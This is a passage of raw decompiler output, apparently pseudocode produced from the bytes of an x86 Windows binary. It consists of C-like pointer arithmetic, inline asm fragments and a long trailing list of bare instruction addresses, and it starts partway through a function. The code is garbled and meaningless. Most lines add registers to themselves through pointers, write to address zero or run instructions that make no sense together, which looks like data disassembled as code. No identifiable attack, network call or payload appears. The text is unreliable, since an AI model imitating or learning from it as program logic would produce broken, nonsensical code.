				 *((intOrPtr*)(_t415 + 0x3e025518)) =  *((intOrPtr*)(_t415 + 0x3e025518)) + _t415;
				 *0x34 =  *0x34 + _t439;
				 *((intOrPtr*)(_t415 + 0x3b2e9f00)) =  *((intOrPtr*)(_t415 + 0x3b2e9f00)) + _t328;
				_t461 = _t457 |  *_t325 |  *_t439 |  *(_t327 + _t327) |  *(_t457 |  *_t325 |  *_t439 |  *(_t327 + _t327));
				 *((intOrPtr*)(_t485 + _t465)) =  *((intOrPtr*)(_t485 + _t465)) + _t415;
				 *_t328 =  *_t328 + _t328;
				_t329 = _t328 + _t328;
				 *_t329 =  *_t329 + _t393;
				asm("sbb eax, 0x410015");
				 *_t329 =  *_t329 + _t329;
				 *((intOrPtr*)(_t415 + 0x62f3c00)) =  *((intOrPtr*)(_t415 + 0x62f3c00)) + _t329;
				 *_t439 =  *_t439 + _t329;
				asm("pushad");
				 *_t329 =  *_t329 + _t329;
				 *((intOrPtr*)(_t415 + 0x561a7c00)) =  *((intOrPtr*)(_t415 + 0x561a7c00)) + _t329;
				_t330 = _t329 |  *_t439;
				 *_t439 = _t393;
				 *_t330 =  *_t330 + _t330;
				 *_t330 =  *_t330 + _t330;
				 *_t330 =  *_t330 + 0xb3b0026;
				_t440 = _t439 + _t439;
				 *_t330 =  *_t330 + _t330;
				 *((intOrPtr*)(_t415 + 0x3b000100)) =  *((intOrPtr*)(_t415 + 0x3b000100)) + _t330;
				_t331 = _t330 |  *_t482;
				asm("sbb al, 0x3b");
				 *_t331 =  *_t331 + _t331;
				 *_t331 =  *_t331 + _t331;
				_t332 = _t465;
				_t466 = _t331;
				 *((intOrPtr*)(_t440 + 0x470b5c25)) =  *((intOrPtr*)(_t440 + 0x470b5c25)) + _t332;
				 *((intOrPtr*)(_t332 + 0x20)) =  *((intOrPtr*)(_t332 + 0x20)) + _t440;
				 *_t332 =  *_t332 + _t332;
				 *_t332 =  *_t332 + _t332;
				_t395 =  *_t332;
				 *_t332 = _t393 + 1;
				_t416 = _t415 - 1;
				_t333 = _t332 -  *_t466;
				 *_t333 =  *_t333 + _t416;
				_pop(_t486);
				 *_t333 =  *_t333 + _t333;
				 *((intOrPtr*)(_t466 + 0x742d7908)) =  *((intOrPtr*)(_t466 + 0x742d7908)) + _t440;
				 *_t333 =  *_t333 + _t333;
				 *((intOrPtr*)(_t466 + 0x612d8808)) =  *((intOrPtr*)(_t466 + 0x612d8808)) + _t440;
				 *0 =  *0 & _t395;
				_t334 = _t466;
				_t467 = _t333;
				 *_t440 =  *_t440 + _t440;
				 *(_t467 + 0xb) =  *(_t467 + 0xb) ^ _t334;
				 *((intOrPtr*)(_t334 + 0x3d)) =  *((intOrPtr*)(_t334 + 0x3d)) + _t440;
				 *_t334 =  *_t334 + _t334;
				 *_t334 =  *_t334 + _t334;
				_t335 = _t467;
				_t468 = _t334;
				 *_t395 =  *_t395 + _t395;
				 *(_t468 + 0xb) =  *(_t468 + 0xb) ^ _t335;
				_t441 = _t440 - 1;
				 *((intOrPtr*)(_t335 + 0x3d)) =  *((intOrPtr*)(_t335 + 0x3d)) + _t335;
				 *((intOrPtr*)(_t468 + 0x6b00df08)) =  *((intOrPtr*)(_t468 + 0x6b00df08)) + _t441;
				_t420 = (_t416 +  *_t333 |  *_t333) - 0x00000001 |  *_t395;
				asm("pushfd");
				 *_t420 =  *_t420 + _t441;
				 *((intOrPtr*)(_t395 + 0xb)) =  *((intOrPtr*)(_t395 + 0xb)) - _t420;
				_t396 = _t395 - 1;
				_t338 = _t335;
				_t470 = _t468 + _t441;
				 *_t470 =  *_t470 + _t396;
				 *((intOrPtr*)(_t396 + 0xb)) =  *((intOrPtr*)(_t396 + 0xb)) - _t420;
				_t397 = _t396 - 1;
				 *((intOrPtr*)(_t470 + _t461)) =  *((intOrPtr*)(_t470 + _t461)) + _t420;
				 *_t338 =  *_t338 + _t338;
				 *_t338 =  *_t338 + _t338;
				_t339 = _t470;
				 *((intOrPtr*)(_t397 + 0x23)) =  *((intOrPtr*)(_t397 + 0x23)) + _t420;
				_t421 = _t420 |  *_t397;
				asm("insb");
				 *[ds:eax] =  *[ds:eax] + _t339;
				 *_t339 =  *_t339 + _t339;
				_t340 = _t338;
				 *_t340 =  *_t340 + _t421;
				asm("daa");
				_t422 = _t421 |  *(_t340 + _t340 - 0x48);
				 *[ds:eax] =  *[ds:eax] + _t340;
				 *_t340 =  *_t340 + _t340;
				_t341 = _t339;
				_t473 = _t340;
				 *_t422 =  *_t422 + _t397;
				 *(_t397 + 0xb) =  *(_t397 + 0xb) & _t482;
				_t483 = _t482 - 1;
				 *((intOrPtr*)(_t461 + _t461)) =  *((intOrPtr*)(_t461 + _t461)) + _t341;
				 *_t341 =  *_t341 + _t341;
				 *((intOrPtr*)(_t473 + 0x6f235e00)) =  *((intOrPtr*)(_t473 + 0x6f235e00)) + _t441;
				_t423 = _t422 |  *_t483;
				if(_t423 >= 0) {
					 *_t341 =  *_t341 + _t341;
					 *_t341 =  *_t341 + _t341;
					_t388 = _t473;
					_t473 = _t341;
					_t128 = _t423 + 0x1c;
					 *_t128 =  *((intOrPtr*)(_t423 + 0x1c)) + _t388;
					if( *_t128 != 0) {
						_t473 = _t473 - 1;
						 *((intOrPtr*)(_t388 + 0x20)) =  *((intOrPtr*)(_t388 + 0x20)) + _t441;
						 *_t388 =  *_t388 + _t388;
						 *_t388 =  *_t388 + _t388;
						_t132 = _t397;
						_t397 =  *_t388;
						 *_t388 = _t132;
						_t423 = _t423 - 1;
					}
					_t389 = _t388 -  *_t473;
					 *_t461 =  *_t461 + _t423;
					 *_t389 =  *_t389 + _t389;
					 *_t389 =  *_t389 + _t389;
					 *_t389 =  *_t389 + _t389;
					 *0x12a2e81 = 0x4f;
					 *_t389 =  *_t389 + _t389;
					 *_t389 =  *_t389 + _t389;
					 *_t389 =  *_t389 + _t389;
					_t390 = _t389 + 0xb79183c;
					_t461 = _t461 - 1;
					 *_t390 =  *_t390 + _t390;
					 *_t390 =  *_t390 + _t390;
					 *_t390 =  *_t390 + _t390;
					_t441 = _t441 + _t389 + _t390;
					_t341 = _t390 + 0xb79184f;
				}
				asm("sbb [ecx+0xb], bh");
				_push(_t341);
				 *_t341 =  *_t341 + _t341;
				 *_t341 =  *_t341 + _t341;
				 *_t341 =  *_t341 + _t341;
				_t342 = _t341 + 0xb791843;
				_push(_t423);
				 *_t342 =  *_t342 + _t342;
				 *_t342 =  *_t342 + _t342;
				 *_t342 =  *_t342 + _t342;
				_t443 = _t441 + _t341 + _t342;
				_t343 = _t342 + 0xb792ea6;
				_push(_t443);
				 *_t343 =  *_t343 + _t343;
				 *_t343 =  *_t343 + _t343;
				 *_t397 =  *_t397 + _t343;
				asm("adc [esi+0x62a4918], al");
				 *_t397 =  *_t397 + _t443;
				 *_t343 =  *_t343 + _t343;
				 *_t343 =  *_t343 + _t343;
				 *_t343 =  *_t343 + 0x96;
				_t344 = _t343 & _t397;
				 *(_t473 + 0xb) =  *(_t473 + 0xb) - _t461;
				 *_t344 =  *_t344 + _t344;
				 *_t344 =  *_t344 + _t344;
				 *((intOrPtr*)(_t344 + 0x37209600)) =  *((intOrPtr*)(_t344 + 0x37209600)) + _t344;
				 *_t344 =  *_t344 + _t344;
				 *_t344 =  *_t344 + _t344;
				 *((intOrPtr*)(_t344 - 0x53df6a00)) =  *((intOrPtr*)(_t344 - 0x53df6a00)) + _t344;
				_t345 = _t344 &  *(_t443 + 0x540b);
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 + 0x67209600)) =  *((intOrPtr*)(_t345 + 0x67209600)) + _t345;
				_t425 = (_t423 &  *(_t461 + 0xb)) -  *((intOrPtr*)((_t423 &  *(_t461 + 0xb)) + 0x570b));
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 - 0x61df6a00)) =  *((intOrPtr*)(_t345 - 0x61df6a00)) + _t345;
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 + 0x56209600)) =  *((intOrPtr*)(_t345 + 0x56209600)) + _t345;
				_t445 = (_t443 &  *(_t345 + 0x5a0b)) -  *((intOrPtr*)(_t473 + 0x5c0b));
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 - 0x2adf6a00)) =  *((intOrPtr*)(_t345 - 0x2adf6a00)) + _t345;
				 *(_t473 + 0xb) =  *(_t473 + 0xb) ^ _t397;
				_t474 = _t397;
				 *_t345 =  *_t345 + _t345;
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 - 0x52df6a00)) =  *((intOrPtr*)(_t345 - 0x52df6a00)) + _t345;
				 *(_t397 + _t425 + 0x5e) =  *(_t397 + _t425 + 0x5e) ^ _t397;
				 *_t345 =  *_t345 + _t345;
				 *_t345 =  *_t345 + 0x96;
				 *_t425 =  *_t425 & _t445;
				 *(_t445 + 0x600b) =  *(_t445 + 0x600b) ^ _t486;
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 + 0x47209600)) =  *((intOrPtr*)(_t345 + 0x47209600)) + _t345;
				asm("sbb ebp, [edx+0x640b]");
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 + 0x6d209600)) =  *((intOrPtr*)(_t345 + 0x6d209600)) + _t345;
				 *(_t461 + 0x660b) =  *(_t461 + 0x660b) ^ _t425;
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 - 0x76df6a00)) =  *((intOrPtr*)(_t345 - 0x76df6a00)) + _t345;
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 - 0xcdf6a00)) =  *((intOrPtr*)(_t345 - 0xcdf6a00)) + _t345;
				_t483[0x1b02] = _t483[0x1b02] ^ _t397;
				 *_t345 =  *_t345 + _t345;
				 *((intOrPtr*)(_t345 + 0x42209600)) =  *((intOrPtr*)(_t345 + 0x42209600)) + _t345;
				_t346 = _t345 - 0x6e0bc3;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + 0x96;
				 *(_t445 + 0x750bce2f) =  *(_t445 + 0x750bce2f) & _t346;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + _t346;
				 *((intOrPtr*)(_t346 - 0x6edf6a00)) =  *((intOrPtr*)(_t346 - 0x6edf6a00)) + _t346;
				asm("das");
				asm("salc");
				_t476 = _t474 - _t483[0x1a02] |  *_t461;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + 0x96;
				_t181 =  &(_t483[0xb]);
				 *_t181 = _t483[0xb] & _t346;
				asm("fimul word [ebx]");
				if ( *_t181 >= 0) goto L10;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + _t346;
				 *_t346 =  *_t346 + 0x96;
				_t398 = _t397 & _t425;
				_t347 = _t346 - 0x7b0be4;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + 0x96;
				_t426 = _t425 & _t347;
				_t183 = _t476 + 0xb;
				 *_t183 =  *(_t476 + 0xb) ^ _t398;
				if ( *_t183 <= 0) goto L11;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + 0x96;
				 *(_t398 + 0x7e0374) =  *(_t398 + 0x7e0374) & _t347;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + 0x96;
				asm("sbb ch, ah");
				_t462 = _t461 |  *_t476;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + _t347;
				 *_t347 =  *_t347 + 0x96;
				_t428 = _t426 & _t426 & _t426 & _t426;
				asm("sbb dh, ah");
				_t348 = _t347 |  *_t445;
				 *((intOrPtr*)(_t348 + 0x41209600)) =  *((intOrPtr*)(_t348 + 0x41209600)) + _t348;
				_t350 = _t348 & _t398 |  *_t476;
				 *((intOrPtr*)(_t350 + 0x27209600)) =  *((intOrPtr*)(_t350 + 0x27209600)) + _t350;
				asm("sbb al, [esi]");
				_t351 = _t350 | 0x0000008c;
				 *_t351 =  *_t351 + _t351;
				 *_t351 =  *_t351 + _t351;
				 *((intOrPtr*)(_t351 - 0x19df6a00)) =  *((intOrPtr*)(_t351 - 0x19df6a00)) + _t351;
				 *0x8f0c =  *0x8f0c ^ _t428;
				 *_t351 =  *_t351 + _t351;
				 *((intOrPtr*)(_t351 - 0x19df6a00)) =  *((intOrPtr*)(_t351 - 0x19df6a00)) + _t351;
				 *_t428 =  *_t428 ^ _t398;
				_t352 = _t351 | 0x00000093;
				 *_t352 =  *_t352 + _t352;
				 *_t352 =  *_t352 + _t352;
				 *_t352 =  *_t352 + _t352;
				 *((intOrPtr*)(_t476 + 0x6b194620)) =  *((intOrPtr*)(_t476 + 0x6b194620)) + _t445;
				_t446 = _t445 |  *_t462;
				 *_t352 =  *_t352 + _t352;
				 *((intOrPtr*)(_t476 + 0x231ff420)) =  *((intOrPtr*)(_t476 + 0x231ff420)) + _t446;
				_t353 = _t352 | 0x00000098;
				 *_t353 =  *_t353 + _t353;
				 *_t353 =  *_t353 + _t353;
				 *((intOrPtr*)(_t353 + 0x51209600)) =  *((intOrPtr*)(_t353 + 0x51209600)) + _t353;
				asm("sbb al, 0x2d");
				_t354 = _t353 | 0x0000009c;
				 *((intOrPtr*)(_t398 + 0x3f)) =  *((intOrPtr*)(_t398 + 0x3f)) + _t354;
				 *((intOrPtr*)(_t476 + 0x62a4918)) =  *((intOrPtr*)(_t476 + 0x62a4918)) + _t354;
				 *((intOrPtr*)(_t462 + 0x3fdc00)) =  *((intOrPtr*)(_t462 + 0x3fdc00)) + _t398;
				 *_t354 =  *_t354 + _t354;
				_t355 = _t354 + _t354;
				 *( &(_t483[0x27c057]) + _t398) =  *( &(_t483[0x27c057]) + _t398) | _t355;
				asm("hlt");
				asm("aas");
				 *_t355 =  *_t355 + _t355;
				 *_t355 =  *_t355 + _t355;
				 *_t355 =  *_t355 + 0xc360018;
				asm("lahf");
				 *_t355 =  *_t355 + _t355;
				_t356 = _t355 + 1;
				 *_t356 =  *_t356 + _t356;
				 *_t356 =  *_t356 + _t356;
				 *_t356 =  *_t356 + 0xb4e004a;
				_t357 =  *0x405b00;
				 *_t357 =  *_t357 + _t357;
				 *((intOrPtr*)(_t428 + 0x3e253700)) =  *((intOrPtr*)(_t428 + 0x3e253700)) + _t446;
				_t358 = _t357 | 0x000000a3;
				 *((intOrPtr*)(_t462 + 0x40)) =  *((intOrPtr*)(_t462 + 0x40)) + _t446;
				 *_t358 =  *_t358 + _t358;
				 *_t358 =  *_t358 + _t358;
				asm("sbb [edi+0x2a], cl");
				_t360 = _t428 +  *((intOrPtr*)(_t428 + _t428 + 0x408c));
				 *_t360 =  *_t360 + _t360;
				_t361 = _t476;
				 *((intOrPtr*)(_t462 + 0x27)) =  *((intOrPtr*)(_t462 + 0x27)) + _t361;
				_t362 = _t361 +  *((intOrPtr*)(_t361 + _t361 + 0x40f4));
				 *_t362 = _t362 +  *_t362;
				_t363 = _t360;
				 *((intOrPtr*)(_t363 + 0x27)) =  *((intOrPtr*)(_t363 + 0x27)) + _t358;
				_t401 = _t397;
				_t364 = _t363 +  *((intOrPtr*)(_t363 + _t363 + 0x4134));
				 *_t364 =  *_t364 + _t364;
				_t365 = _t362;
				_t479 = _t364;
				 *_t401 = _t401 +  *_t401;
				asm("daa");
				_t365[8] = _t365[8] + _t446;
				 *_t365 = _t365 +  *_t365;
				 *_t365 = _t365 +  *_t365;
				 *_t365 = _t401;
				_t431 =  *_t401 * 0xffffffa4 - 1;
				_t366 = _t365 -  *_t479;
				 *((intOrPtr*)(_t366 + _t366 + 0x4197)) =  *((intOrPtr*)(_t366 + _t366 + 0x4197)) + _t366;
				 *_t366 =  *_t366 + _t366;
				asm("sbb dword [eax], 0x49");
				_t367 = _t366 -  *_t479;
				 *((intOrPtr*)(_t367 + _t367 + 0x41a4)) =  *((intOrPtr*)(_t367 + _t367 + 0x41a4)) + _t367;
				 *_t367 =  *_t367 + _t367;
				asm("daa");
				_t487 = _t486 + 1;
				_t370 = ( *_t365 | 0x000000a4) + _t431;
				_t432 = _t431 + 1;
				 *_t370 =  *_t370 + _t370;
				 *_t370 =  *_t370 + _t370;
				_t405 = _t370;
				asm("sbb al, 0x4a");
				_t373 = _t367 | _t431 | _t405 | 0x000000a4;
				 *_t405 =  *_t405 + _t373;
				_t447 = _t446 + 1;
				 *_t373 =  *_t373 + _t373;
				 *_t373 =  *_t373 + _t373;
				asm("sbb al, 0x50");
				_t376 = _t405 | _t432 | 0x000000a4;
				 *((intOrPtr*)(_t447 + _t376 * 2)) =  *((intOrPtr*)(_t447 + _t376 * 2)) + _t432;
				 *_t376 =  *_t376 + _t376;
				 *_t376 =  *_t376 + _t376;
				_t377 = _t373;
				_t407 = _t376;
				 *_t377 =  *_t377 | _t407;
				_t379 = _t377 | 0xf7;
				 *((intOrPtr*)(_t447 + _t379 * 2)) =  *((intOrPtr*)(_t447 + _t379 * 2)) + _t407;
				 *_t379 =  *_t379 + _t379;
				 *_t379 =  *_t379 + _t379;
				_t380 = _t407;
				_t408 = _t379;
				 *(_t483 - 0x5af3a8d2) =  *(_t483 - 0x5af3a8d2) | _t447;
				 *((intOrPtr*)(_t447 + _t380 * 2)) =  *((intOrPtr*)(_t447 + _t380 * 2)) + _t432;
				 *_t380 =  *_t380 + _t380;
				 *((intOrPtr*)(_t479 + 0x5d2eb308)) =  *((intOrPtr*)(_t479 + 0x5d2eb308)) + _t447;
				_t381 = _t380 | 0x000000a5;
				_t261 = _t447 + _t381 * 2;
				 *_t261 =  *((intOrPtr*)(_t447 + _t381 * 2)) + _t381;
				_t433 =  *_t381;
				 *_t381 = _t432;
				if( *_t261 < 0) {
					_t387 = _t381 -  *_t433;
					asm("movsd");
					 *((intOrPtr*)(_t479 + 0x42)) =  *((intOrPtr*)(_t479 + 0x42)) + _t387;
					 *((intOrPtr*)(_t479 + 0x12d8808)) =  *((intOrPtr*)(_t479 + 0x12d8808)) + _t387;
					_t483[0x10aec0] = _t483[0x10aec0] + _t387;
					 *_t387 =  *_t387 + _t387;
					 *((intOrPtr*)(_t479 + 0x62a4918)) =  *((intOrPtr*)(_t479 + 0x62a4918)) + _t387;
					 *((intOrPtr*)(_t479 + 0x42c400)) =  *((intOrPtr*)(_t479 + 0x42c400)) + _t387;
					 *_t387 =  *_t387 + _t387;
					 *((intOrPtr*)(_t433 + 0x5b2a4f18)) =  *((intOrPtr*)(_t433 + 0x5b2a4f18)) + _t447;
					_t381 = _t387 +  *_t479;
				}
				 *_t381 =  *_t381 + _t381;
				 *_t381 =  *_t381 + _t381;
				 *_t408 =  *_t408 + _t381;
				 *((intOrPtr*)(_t479 - 0x58d5b6e8)) =  *((intOrPtr*)(_t479 - 0x58d5b6e8)) + _t381;
				 *_t479 =  *_t479 + _t487;
				 *_t408 =  *_t408 + _t381;
				 *((intOrPtr*)(_t408 + _t408)) =  *((intOrPtr*)(_t408 + _t408)) + _t408;
				 *_t381 =  *_t381 + _t381;
				 *_t381 =  *_t381 + _t381;
				_t382 = _t381 +  *_t381;
				 *_t433 = 0x17;
				asm("sbb esp, [edx+0xc]");
				asm("stosb");
				 *_t382 =  *_t382 + _t382;
				 *_t382 =  *_t382 + _t382;
				 *_t408 =  *_t408 + _t382;
				 *0xae0c6f1b =  *0xae0c6f1b + _t433;
				 *_t382 =  *_t382 + _t382;
				 *_t382 =  *_t382 + _t382;
				 *_t408 =  *_t408 + _t382;
				 *((intOrPtr*)(_t479 - 0x58d5b6e8)) =  *((intOrPtr*)(_t479 - 0x58d5b6e8)) + _t382;
				 *_t462 = _t483 +  *_t462;
				 *_t408 =  *_t408 + _t382;
				 *((intOrPtr*)(_t408 + _t408)) =  *((intOrPtr*)(_t408 + _t408)) + _t408;
				 *_t382 =  *_t382 + _t382;
				 *_t382 =  *_t382 + _t382;
				_t383 = _t382 +  *_t382;
				 *0 = 0x17;
				asm("sbb esp, [edx+0xc]");
				 *_t383 =  *_t383 + _t383;
				 *_t383 =  *_t383 + _t383;
				_t384 = _t383 +  *_t383;
				 *0 = 0xd;
				asm("sbb ebp, [edi+0xc]");
				 *_t384 =  *_t384 + _t384;
				 *_t384 =  *_t384 + _t384;
				_t385 = _t384 +  *_t384;
				_t411 =  *_t385;
				 *_t385 = 0;
				_t386 = _t385 -  *((intOrPtr*)(_t462 + 0xb801));
				 *_t386 =  *_t386 + _t386;
				 *_t411 =  *_t411 + _t386;
				 *((intOrPtr*)(_t411 + _t411)) =  *((intOrPtr*)(_t411 + _t411)) + _t411;
				 *_t411 =  *_t411 + _t386;
				 *_t462 =  *_t462 + 0 + _t386;
				asm("sbb esp, [edx+0xc]");
				 *_t411 =  *_t411 + _t386;
				 *0xc00c6f1b =  *0xc00c6f1b + 0xffffffffffffffff;
				 *_t386 =  *_t386 + _t386;
				 *_t386 =  *_t386 + _t386;
				 *_t411 =  *_t411 + _t386;
				 *((intOrPtr*)(_t479 - 0x58d5b6e8)) =  *((intOrPtr*)(_t479 - 0x58d5b6e8)) + _t386;
				 *_t386 =  *_t386 + _t386;
				 *_t386 =  *_t386 + _t386;
				 *_t411 =  *_t411 + _t386;
				 *((intOrPtr*)(_t411 + _t411)) =  *((intOrPtr*)(_t411 + _t411)) + _t411;
				return _t386;
			}

0x004c5696
0x004c5696
0x004c5696
0x004c5696
0x004c5696
0x004c5696
0x004c5697
0x004c5699
0x004c569c
0x004c569e
0x004c56a0
0x004c56a2
0x004c56a4
0x004c56a9
0x004c56ac
0x004c56ae
0x004c56b1
0x004c56b3
0x004c56b6
0x004c56b8
0x004c56ba
0x004c56bc
0x004c56bc
0x004c56bc
0x004c56bd
0x004c56c3
0x004c56c6
0x004c56c8
0x004c56ca
0x004c56cc
0x004c56ce
0x004c56cf
0x004c56d1
0x004c56d8
0x004c56de
0x004c56e0
0x004c56e2
0x004c56e4
0x004c56e4
0x004c56e6
0x004c56e6
0x004c56e8
0x004c56ea
0x004c56ed
0x004c56f0
0x004c56f2
0x004c56f4
0x004c56f4
0x004c56f6
0x004c56fd
0x004c56ff
0x004c5701
0x004c5707
0x004c5709
0x004c570b
0x004c570d
0x004c570f
0x004c5715
0x004c5717
0x004c5719
0x004c571b
0x004c571d
0x004c5723
0x004c5725
0x004c5729
0x004c572b
0x004c5731
0x004c5733
0x004c573a
0x004c573a
0x004c573c
0x004c573d
0x004c5743
0x004c5745
0x004c5747
0x004c574d
0x004c5751
0x004c5753
0x004c5755
0x004c575b
0x004c575d
0x004c575f
0x004c5761
0x004c5763
0x004c5769
0x004c576b
0x004c576d
0x004c576f
0x004c5771
0x004c5777
0x004c5779
0x004c577f
0x004c5785
0x004c5788
0x004c5789
0x004c578b
0x004c578d
0x004c5793
0x004c5799
0x004c579b
0x004c57a1
0x004c57a7
0x004c57ab
0x004c57b3
0x004c57b5
0x004c57b7
0x004c57bd
0x004c57bf
0x004c57c1
0x004c57c6
0x004c57c6
0x004c57c9
0x004c57cc
0x004c57ce
0x004c57d4
0x004c57d6
0x004c57d7
0x004c57d9
0x004c57dd
0x004c57e2
0x004c57e8
0x004c57ea
0x004c57ec
0x004c57ee
0x004c57f0
0x004c57f8
0x004c57f9
0x004c57fa
0x004c57fc
0x004c57fe
0x004c5804
0x004c5806
0x004c5808
0x004c580a
0x004c580c
0x004c5812
0x004c5814
0x004c5818
0x004c581a
0x004c5820
0x004c5822
0x004c5824
0x004c5826
0x004c5828
0x004c5830
0x004c5831
0x004c5833
0x004c5835
0x004c583b
0x004c583e
0x004c5840
0x004c5842
0x004c5844
0x004c584a
0x004c584f
0x004c5851
0x004c5857
0x004c5859
0x004c585d
0x004c585f
0x004c5867
0x004c586d
0x004c5877
0x004c5879
0x004c587b
0x004c5884
0x004c5887
0x004c5889
0x004c588b
0x004c5891
0x004c5897
0x004c589d
0x004c589f
0x004c58a3
0x004c58a5
0x004c58a7
0x004c58a9
0x004c58b1
0x004c58b3
0x004c58b9
0x004c58bc
0x004c58bf
0x004c58c1
0x004c58c7
0x004c58ca
0x004c58cc
0x004c58ce
0x004c58d0
0x004c58d7
0x004c58db
0x004c58dd
0x004c58e3
0x004c58e6
0x004c58e8
0x004c58ea
0x004c58ec
0x004c58ec
0x004c58ed
0x004c58f3
0x004c58f6
0x004c58f8
0x004c58fa
0x004c58fa
0x004c58fc
0x004c58fd
0x004c58ff
0x004c5902
0x004c5905
0x004c5907
0x004c5913
0x004c5915
0x004c591e
0x004c5924
0x004c5924
0x004c5925
0x004c5927
0x004c592b
0x004c592e
0x004c5930
0x004c5932
0x004c5932
0x004c5933
0x004c5935
0x004c5938
0x004c5939
0x004c593f
0x004c5945
0x004c5948
0x004c594f
0x004c5951
0x004c5954
0x004c595c
0x004c595c
0x004c595d
0x004c595f
0x004c5962
0x004c5963
0x004c5966
0x004c5968
0x004c596a
0x004c596b
0x004c596e
0x004c5972
0x004c5973
0x004c5976
0x004c5978
0x004c5979
0x004c597b
0x004c597c
0x004c5981
0x004c5984
0x004c5986
0x004c5986
0x004c5987
0x004c5989
0x004c598c
0x004c598d
0x004c5991
0x004c5993
0x004c5999
0x004c599c
0x004c599e
0x004c59a0
0x004c59a2
0x004c59a2
0x004c59a3
0x004c59a3
0x004c59a6
0x004c59a8
0x004c59a9
0x004c59ac
0x004c59ae
0x004c59b0
0x004c59b0
0x004c59b0
0x004c59b2
0x004c59b2
0x004c59b3
0x004c59b5
0x004c59b8
0x004c59ba
0x004c59bc
0x004c59be
0x004c59c5
0x004c59c7
0x004c59c9
0x004c59cd
0x004c59d2
0x004c59d3
0x004c59d5
0x004c59d7
0x004c59d9
0x004c59db
0x004c59db
0x004c59dd
0x004c59e0
0x004c59e1
0x004c59e3
0x004c59e5
0x004c59e9
0x004c59ee
0x004c59ef
0x004c59f1
0x004c59f3
0x004c59f5
0x004c59f7
0x004c59fc
0x004c59fd
0x004c59ff
0x004c5a01
0x004c5a03
0x004c5a09
0x004c5a0c
0x004c5a0e
0x004c5a10
0x004c5a13
0x004c5a15
0x004c5a19
0x004c5a1b
0x004c5a1d
0x004c5a27
0x004c5a29
0x004c5a2b
0x004c5a31
0x004c5a37
0x004c5a39
0x004c5a3f
0x004c5a45
0x004c5a47
0x004c5a53
0x004c5a55
0x004c5a5b
0x004c5a61
0x004c5a63
0x004c5a69
0x004c5a6c
0x004c5a6d
0x004c5a6f
0x004c5a71
0x004c5a77
0x004c5a7e
0x004c5a80
0x004c5a83
0x004c5a85
0x004c5a8b
0x004c5a8d
0x004c5a93
0x004c5a99
0x004c5a9b
0x004c5aa1
0x004c5aa7
0x004c5aa9
0x004c5ab5
0x004c5ab7
0x004c5abd
0x004c5ac3
0x004c5ac5
0x004c5acb
0x004c5ad0
0x004c5ad2
0x004c5ad4
0x004c5ad7
0x004c5add
0x004c5adf
0x004c5ae1
0x004c5ae7
0x004c5ae8
0x004c5ae9
0x004c5aec
0x004c5aee
0x004c5af0
0x004c5af3
0x004c5af3
0x004c5af6
0x004c5af8
0x004c5afa
0x004c5afc
0x004c5afe
0x004c5b01
0x004c5b03
0x004c5b08
0x004c5b0a
0x004c5b0c
0x004c5b0f
0x004c5b11
0x004c5b11
0x004c5b14
0x004c5b16
0x004c5b18
0x004c5b1a
0x004c5b1d
0x004c5b24
0x004c5b26
0x004c5b28
0x004c5b2d
0x004c5b2f
0x004c5b32
0x004c5b34
0x004c5b36
0x004c5b39
0x004c5b3b
0x004c5b3d
0x004c5b43
0x004c5b4b
0x004c5b51
0x004c5b57
0x004c5b59
0x004c5b5b
0x004c5b5d
0x004c5b5f
0x004c5b65
0x004c5b6b
0x004c5b6d
0x004c5b73
0x004c5b75
0x004c5b77
0x004c5b79
0x004c5b7b
0x004c5b7d
0x004c5b83
0x004c5b89
0x004c5b8b
0x004c5b91
0x004c5b93
0x004c5b95
0x004c5b97
0x004c5b9d
0x004c5b9f
0x004c5ba1
0x004c5ba7
0x004c5bad
0x004c5bb3
0x004c5bb5
0x004c5bb7
0x004c5bbe
0x004c5bbf
0x004c5bc0
0x004c5bc2
0x004c5bc4
0x004c5bca
0x004c5bcb
0x004c5bcd
0x004c5bce
0x004c5bd0
0x004c5bd2
0x004c5bd8
0x004c5bdd
0x004c5bdf
0x004c5be5
0x004c5be7
0x004c5bea
0x004c5bec
0x004c5bef
0x004c5bf3
0x004c5bfa
0x004c5bfc
0x004c5bfd
0x004c5c01
0x004c5c08
0x004c5c0a
0x004c5c0b
0x004c5c0e
0x004c5c0f
0x004c5c16
0x004c5c18
0x004c5c18
0x004c5c19
0x004c5c1b
0x004c5c1f
0x004c5c22
0x004c5c24
0x004c5c26
0x004c5c28
0x004c5c29
0x004c5c2b
0x004c5c32
0x004c5c34
0x004c5c37
0x004c5c39
0x004c5c40
0x004c5c45
0x004c5c46
0x004c5c49
0x004c5c4b
0x004c5c4c
0x004c5c4e
0x004c5c50
0x004c5c53
0x004c5c55
0x004c5c57
0x004c5c59
0x004c5c5a
0x004c5c5c
0x004c5c61
0x004c5c63
0x004c5c65
0x004c5c68
0x004c5c6a
0x004c5c6c
0x004c5c6c
0x004c5c6d
0x004c5c71
0x004c5c73
0x004c5c76
0x004c5c78
0x004c5c7a
0x004c5c7a
0x004c5c7b
0x004c5c81
0x004c5c85
0x004c5c87
0x004c5c8d
0x004c5c8f
0x004c5c8f
0x004c5c96
0x004c5c96
0x004c5c98
0x004c5c9a
0x004c5c9c
0x004c5c9d
0x004c5ca3
0x004c5ca9
0x004c5caf
0x004c5cb1
0x004c5cb7
0x004c5cbd
0x004c5cbf
0x004c5cc5
0x004c5cc5
0x004c5cc7
